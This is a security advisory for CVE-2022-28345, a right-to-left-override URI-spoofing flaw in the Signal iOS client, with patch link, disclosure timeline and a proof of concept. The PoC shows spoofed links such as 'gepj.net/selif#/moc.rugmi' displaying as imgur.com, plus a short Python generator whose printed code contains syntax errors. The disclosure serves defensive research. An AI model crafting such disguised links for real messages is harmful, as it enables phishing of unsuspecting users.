

#### **Product**

Signal iOS Client

#### **Product Versions**

5.33.2 and below

# **Vulnerability Details**

An additional RTLO Injection URI Spoofing in the Signal client for iOS version 5.33.2 and below incorrectly renders RTLO encoded URLs beginning with a non-breaking space, and a hash character in the URL. This technique allowing a remote unauthenticated attacker to send 100% authentic looking links, appearing as any website URL by abusing the non-http & non-https automatic rendering of URLs on the iOS client application for top level domains. An attacker can spoof, for example, example.com, and masquerade any URL with a malicious destination. An attacker only requires a subdomain such as: gepj, txt, fdp, or xcod, which would appear as jpeg, txt, pdf, and docx respectively. This only affects iOS but can be sent via any other client.

## **Vendor Response**

Fixed in Signal iOS client 5.34 released around April 7-8th 2022 depending on your App Store.

Patch: https://github.com/signalapp/Signal-iOS/commit/b0721e601e549996154127225c68769dfbfae506

# **Proof of Concept**

Send a message to someone, using natural looking domains, such as apple.com, imgur.com, dhl.com, etc.

```
gepj.net/selif#/moc.rugmi
```

Will appear as

```
imgur.com/#files/ten.jpeg
```

The use of the # character, and removal of http / https causes the Signal client to hyperlink the entire URL and bypasses previous related CVE's.

```
#!/usr/bin/env python
# Modified: sickcodes
```

```
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import sys
_LEGWEB = 'imgur.com'
_ATTWEB = 'gepj.net'
_SUBDIR = 'images'
_{RTLO} = (u'\u202e')
LEGWEB = LEGWEB[::-1]
_SUBDIR = _SUBDIR[::-1]
print(_LEGWEB+'/'+_SUBDIR)
_ATTFULL = _LEGWEB+'/'+_SUBDIR
print(_ATTFULL)
sys.stdout.write(' ' + _RTLO + (_ATTWEB + '/' + _SUBDIR + '#/' + _LEGWEB) +'\n')
```

This is due to the following RTLO character, and the abuse of trusted TLD domains:

```
<0x202e>gepj.net/segami#/moc.rugmi
```

#### **Disclosure Timeline**

- 2019-03-24 Original research uncovered in related apps
- 2022-03-24 Researchers meet each other
- 2022-03-24 Additional bypass discovered
- 2022-03-24 Signal notified
- 2022-04-02 CVE Requested
- 2022-04-02 CVE Assigned CVE-2022-28345
- 2022-04-04 Vendor advised of CVE & sent the bypass PoC
- 2022-04-06 Researcher confirms fix in 5.34
- 2022-04-07 App Stores publish 5.34
- 2022-04-14 Researcher publishes CVE, PoC, Video

## Links

https://sick.codes/sick-2022-42

https://github.com/sickcodes/security/blob/master/advisories/SICK-2022-42.md

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28345

https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-28345

https://github.com/zadewg/RIUS

https://blog.malwarebytes.com/social-engineering/2022/03/uri-spoofing-flaw-could-phish-whatsapp-signal-instagram-and-imessage-users/

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